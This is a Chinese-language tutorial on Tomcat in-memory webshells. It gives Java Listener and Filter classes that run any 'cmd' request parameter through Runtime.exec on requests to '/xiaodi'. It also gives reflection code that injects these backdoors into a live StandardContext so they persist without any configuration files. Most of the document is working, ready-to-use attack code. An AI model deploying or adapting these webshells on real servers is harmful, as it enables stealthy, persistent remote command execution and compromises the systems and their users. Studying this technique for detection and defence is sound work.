一、Tomcat Listener 内存马

1. Listener 使用

以下是 ServletRequestListener 的实现,用于监听 HTTP 请求并执行特定逻辑。

public class TestListen implements ServletRequestListener {
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("requestInitialized");
        HttpServletRequest servletRequest = (HttpServletRequest) sre.getServletRequest();
        String requestURI = servletRequest.getRequestURI();
        if (requestURI.contains("/xiaodi")) {
            String cmd = servletRequest.getParameter("cmd");
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
        ServletRequestListener.super.requestInitialized(sre);
    }
}

web.xml 配置

web.xml 中添加以下配置以注册 Listener:

<listener>
    <listener-class>org.example.testlisten.TestListen</listener-class>
</listener>

2. 断点调试分析

通过断点调试,分析 Listener 的上下文获取过程:

  • StandardContext#context
  • ApplicationContext#context
  • ServletContext#request.getServletContext

3. 反射调用内存马

通过反射动态添加 Listener,实现内存马注入:

// 获取 Servlet 上下文(ServletContext)
ServletContext servletContext = request.getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
 
// 获取 ApplicationContext
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
 
// 获取 StandardContext
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
 
// 动态添加 Listener
TestListen testListen = new TestListen();
standardContext.addApplicationEventListener(testListen);

二、Tomcat Filter 内存马

1. Filter 使用

以下是 Filter 的实现,用于拦截 HTTP 请求并执行特定逻辑。

public class TestFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("TestFilter init");
        Filter.super.init(filterConfig);
    }
 
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        System.out.println("TestFilter doFilter");
        HttpServletRequest request1 = (HttpServletRequest) request;
        String requestURI = request1.getRequestURI();
        if (requestURI.contains("/xiaodi")) {
            String cmd = request.getParameter("cmd");
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
        chain.doFilter(request, response);
    }
 
    @Override
    public void destroy() {
        System.out.println("TestFilter destroy");
        Filter.super.destroy();
    }
}

web.xml 配置

web.xml 中添加以下配置以注册 Filter:

<filter>
    <filter-name>TestFilter</filter-name>
    <filter-class>org.example.testfilter.TestFilter</filter-class>
</filter>
<filter-mapping>
    <filter-name>TestFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

2. 断点调试分析

Filter 相关核心对象包括:

  • filterConfigs:存储 Filter 配置信息。
  • filterDefs:存储 Filter 类引用和别名。
  • filterMaps:存储 Filter 别名和路由映射。

Filter 创建涉及的元素

  • Filter 类引用
  • Filter 别名
  • 对应路由
  • 绑定路由的 Filter 别名
  • Filter 实例

关键调用

  • filterDef#filterClass
  • filterDef#filterName
  • filterMap#urlPattern
  • filterMap#filterName

3. 反射调用内存马

通过反射动态添加 Filter,实现内存马注入:

// 获取 Servlet 上下文(ServletContext)
ServletContext servletContext = request.getServletContext();
 
// 反射获取 ApplicationContext
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
 
// 反射获取 StandardContext
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
 
// 反射获取 filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
 
// 创建 FilterDef 对象,设置 Filter 信息
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
 
// 创建 FilterMap 对象,设置 URL 映射(拦截所有资源)
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
 
// 创建 ApplicationFilterConfig 并写入 filterConfigs
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);